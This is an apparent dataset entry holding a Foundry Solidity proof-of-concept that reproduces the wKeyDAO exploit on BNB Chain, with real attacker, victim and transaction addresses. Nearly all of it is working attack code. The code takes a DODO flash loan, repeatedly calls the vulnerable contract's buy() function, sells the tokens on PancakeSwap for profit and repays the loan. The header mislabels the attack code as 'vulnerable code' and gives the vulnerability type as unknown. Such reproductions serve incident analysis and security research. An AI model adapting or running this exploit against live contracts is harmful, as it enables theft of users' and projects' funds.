HIGH severity: wKeyDAO exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~767 US$ Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce32 Attack Contract : 0x3783c91ee49a303c17c558f92bf8d6395d2f76e3 Vulnerable Contract : 0xd511096a73292a7419a94354d4c1c73e8a3cd851 Attack Tx : https://app.blocksec.com/explorer/tx/bs

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;


import "../basetest.sol";
import {IERC20, WETH} from "../interface.sol";

// @KeyInfo - Total Lost : ~767 US$
// Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
// Attack Contract : 0x3783c91ee49a303c17c558f92bf8d6395d2f76e3
// Vulnerable Contract : 0xd511096a73292a7419a94354d4c1c73e8a3cd851
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=12


// @Analysis
// Post-mortem : https://x.com/Phalcon_xyz/status/1900809936906711549
// @POC Author : [Yajin Zhou](https://x.com/yajinzhou)


// Contracts involved
address constant wKeyDaoSell = 0xD511096a73292A7419a94354d4C1C73e8a3CD851;
address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
address constant wKeyDAO = 0x194B302a4b0a79795Fb68E2ADf1B8c9eC5ff8d1F;
address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;

contract wKeyDao_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("bsc", 47_469_060 - 1);
    }

    function testPoC() public {
        vm.startPrank(attacker);
        Attacker attc = new Attacker();

        uint balanceBefore =  IERC20(BUSD).balanceOf(address(attc));

        attc.fire();

        uint balanceAfter =  IERC20(BUSD).balanceOf(address(attc));

        console2.log("Profit: ", (balanceAfter - balanceBefore) / 1e18);

    }
}

contract Attacker {

    function fire() external {   
        __dodoFlashLoan(address(0x107F3Be24e3761A91322AA4f5F54D9f18981530C), 1_200e18, BUSD);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function __dodoFlashLoan(
        address flashLoanPool, //You will make a flashloan from this DODOV2 pool
        uint256 loanAmount, 
        address loanToken
    ) internal   {
        bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);
        address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
        console2.log("flashLoanBase Balance:", flashLoanBase);

        if(flashLoanBase == loanToken) {
            IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);
        } else {
            IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);
        }
    }

    //Note: CallBack function executed by DODOV2(DVM) flashLoan pool
    function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {
        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);
    }

    function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {
        (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));
        
        require(sender == address(this) && msg.sender == flashLoanPool, "HANDLE_FLASH_NENIED");

        __realAttack();

        //Return funds
        IERC20(loanToken).transfer(flashLoanPool, loanAmount);
    }

    function __realAttack() internal {

        //approve BUSD to wKeyDaoSell
        IERC20(BUSD).approve(wKeyDaoSell, 1_000_000e18);

        //approve wKeyDAO to pancakeSwapRouterV2
        IERC20(wKeyDAO).approve(pancakeSwapRouterV2, 10000000000000000000000000000000);

        // to save time, we loop 5 times. -- can buy 67 times in total
        for (uint256 i = 0; i < 5; i ++) {
            //buy
            IwKeyDaoSell(wKeyDaoSell).buy();

            //sell wKeyDAO
            address[] memory path = new address[](2);
            path[0] = address(wKeyDAO);
            path[1] = address(BUSD);
            IPancakeRouter02(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(wKeyDAO).balanceOf(address(this)),
                0,
                path,
                address(this),
                block.timestamp
            );
        }
        
    }
}

interface IwKeyDaoSell {
    function buy() external ;
}

interface IDODO {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;

    function _BASE_TOKEN_() external view returns (address);
    function _BASE_RESERVE_() external view returns (uint112);
    function _QUOTE_TOKEN_() external view returns (address);
    function _QUOTE_RESERVE_() external view returns (uint112);
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

interface IPancakeRouter02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


Vulnerability type: unknown